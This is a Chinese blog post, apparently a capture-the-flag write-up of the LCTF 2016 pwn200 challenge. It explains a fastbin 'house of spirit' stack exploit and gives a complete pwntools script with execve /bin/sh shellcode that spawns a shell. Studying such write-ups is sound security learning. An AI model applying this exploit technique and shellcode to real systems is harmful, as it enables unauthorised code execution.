lctf 2016 pwn200 - Blog of Mathias
Blog of Mathias Web Securtiy&Deep Learning
lctf 2016 pwn200
发表于: | 分类: house of spirit | 评论:0 | 阅读:550

比较典型的fastbin利用
checksec发现除了系统自己的aslr外没有其他任何保护

sss1.jpg

因为输入的money可以覆盖掉dest指针,但是写入又只能在malloc的时候进行
利用的地方就只能是任意地址free

ss4.jpg

而栈内变量布置的大概结构如下

ss2.jpg

要控制的返回地址正好处于两个可控内存之间
是典型的house of spirit技巧
由于没有办法进行其他地址的leak,本程序又没有开启dep,于是考虑直接铺设shellcode
首先通过off by one leak出rbp的地址
然后输入money,可以覆盖掉指向chunk的指针
输入的id是伪造的后一个chunk的size,其中的inuse=1,来绕过free时的检查
现在这个伪造的chunk(实际是栈上的内存)进入了fastbin中
再次malloc就可以编辑其内容,直接把返回地址指向shellcode即可
完整的payload如下

from pwn import *
raw_file=ELF('pwn200')
libc=ELF('libc.so.6')
p=process('pwn200')
p.recvuntil('who are u?\n')
def makeshellcode():
    shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"
    shellcode+="\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    shellcode=shellcode.ljust(47,'a')
    shellcode+='m'
    return shellcode
def leakrbp():
    p.recvuntil('m')
    result=p.recvuntil(', w')
    rbp_addr=u64(result[:-3].ljust(0x8,'\x00'))
    return rbp_addr
shellcode=makeshellcode()
p.send(shellcode)
rbp_addr=leakrbp()
print "rbp_addr is ",hex(rbp_addr)
target_addr=rbp_addr-0x90
shellcode_addr=rbp_addr-0x50
p.recvuntil('id ~~?')
p.send('32'+'\n')
p.recvuntil('money~')
payload=p64(0)*4+p64(0)+p64(0x41)
payload=payload.ljust(0x38,'\x00')+p64(target_addr)
p.send(payload)
p.recvuntil('choice : ')
p.send('2'+'\n')
p.recvuntil('choice : ')
p.send('1'+'\n')
p.recvuntil('long?')
p.send('48\n')
p.recvuntil('48\n')
data='a'*0x18+p64(shellcode_addr)
data=data.ljust(48,'\x00')
p.send(data)
p.recvuntil('choice : ')
p.send('3\n')
p.interactive()

getshell

ss3.jpg

还不快抢沙发

添加新评论